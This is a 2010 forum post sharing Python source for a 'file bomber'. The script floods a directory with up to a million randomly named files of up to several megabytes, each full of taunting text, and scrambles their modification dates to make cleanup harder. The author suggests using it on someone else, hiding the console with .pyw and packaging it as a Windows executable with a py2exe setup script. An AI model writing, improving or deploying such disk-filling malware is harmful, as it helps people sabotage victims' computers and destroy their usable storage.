Post: Python File Bomber
10-25-2010, 01:44 AM #1
schnzrs
Do a barrel roll!
(adsbygoogle = window.adsbygoogle || []).push({}); Hey everyone. I just wanted to show a Python project I have been working on for a little bit. It is an advanced file bomber (a program that generates tons of files). It can make many types of files from 1kb to 50mb or so, change the last modified date of the files to random dates, make the file have a very random name, and place a random message in the file. If you are testing it, please change the "for repeats in range(#)" to something around 10 or so. I have it set to repeat a million times now. You don't want to run the on your computer! Also, if you want to use it on some one, save python script as a .pyw (no command prompt) and bundle it to an .exe via py2exe (use my script at bottom for that.)

FileBomber code:
    """"File bomber made by schnzrs. This program spams the directory the program was run in
with tons and tons of files. If run long enough, it can fill HD. This program is quite powerful.
It was made for educational purposes (or the sake of annoying someone you don't like.)
Please use carefully. It can clog your computer VERY QUICKLY. Please only modify if you
have knowledge of Python or any relevant language. If you accidentaly run it, open
task manager and close the process."""

import random, os, time

#For loop. The number in range() is how many times a file will be made.
#Right now a million files will be made, but for testing do 10 or so.
for repeats in range(1000000):

#---The repeats var is changed into a string.
#---This string is placed at the end name of file.
repeats=str(repeats)

#---Choses either a lower case or upper case letter for file start.
#---Letter is placed at start of file to really annoy people
#---(makes it hard to sort files A-Z).
lowerAbc=random.randint(97, 122)
upperAbc=random.randint(65, 90)

abcChoice=random.randint(1, 2)
if abcChoice==1:
fileStart=chr(lowerAbc)
else:
fileStart=chr(upperAbc)

#---This selects a random file extension.
fileEndInt=random.randint(1, 20)

fileEndDict={1:".jpg",2:".png",3:".txt",4:".htm",5:".html",
6:".exe",7:".msi",8:".doc",9:".psd",10:".PDF",
11:".xml",12:".AVI",13:".MOV",14:".wmv",15:".mp4",
16:".flv",17:".mp3",18:".gif",19:".bat",20:".css"}

#---Dictionairy is translated and file object is created here.
fileEnd=fileEndDict[fileEndInt]
fileName = fileStart + "File" + repeats
textFile = file(fileName + fileEnd, "wt")

#---A string name of the file is made. This is used later.
fileNameStr= fileStart + "File" + repeats + fileEnd

#---Random number made to select which message to display.
#---Message is selected from a dictionairy.
messageNum=random.randint(1, 10)
messageDict={1:"Owned",2:"Pwned",3:"Murdered",4:"Smacked",5:"Burned",
6:"Destroyed",7:"Clogged",8:"Ouch",9:"Raped",10:"Killed"}
newLine="/n"
messageStr=messageDict[messageNum]+newLine

#---The size of the file is randomly choosen.
#---3 ranges of numbers the file size can be.
fileSizeChoice=random.randint(1, 3)

if fileSizeChoice==1:
fileSize=random.randint(10, 500)

elif fileSizeChoice==2:
fileSize=random.randint(1000, 50000)

else:
fileSize=random.randint(100000, 5000000)

#---The message is written how many times the "fileSize" int is.
#---The message is then closed. This is for changing the modification date.
textFile.write(messageStr*fileSize)
textFile.close()

#This function is made to change the last mod date of the file.
#This will make it extra annoying to delete the files.
#A class is made to store the randomly generated times.
def dateModder(fileNameStr):
class randTime:
year=random.randint(2004, 2011)
month=random.randint(1, 12)
day=random.randint(1, 29)
hour=random.randint(0, 23)
minute=random.randint(0, 59)
second=random.randint(0, 59)

fileStats = os.stat(fileNameStr)
lastMod= time.localtime(fileStats[8])

#---The time is written in this format. (There is no need for Name, Number, or Savings.)
#---Year, Month, Day, Hour, Minute, Second, Day name, Day number, Savings.
modDate = (randTime.year, randTime.month, randTime.day, randTime.hour,
randTime.minute, randTime.second, 0, 0, 0)
systemTime=time.mktime(modDate)
os.utime(fileNameStr, (int(time.time()), systemTime))

#The function is called. Program will now repeat... many, many times.
dateModder(fileNameStr)


And if you want to bundle it into an .exe (with py2exe, of course!). Here is my setup file.
    from distutils.core import setup
import py2exe, sys, os

sys.argv.append('py2exe'Winky Winky

setup(
options = {'py2exe': {'bundle_files': 1}},
#insert name of filebomer here
windows = [{'script': "!file bomb name goes here!"}],
zipfile = None,
)
(adsbygoogle = window.adsbygoogle || []).push({});

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo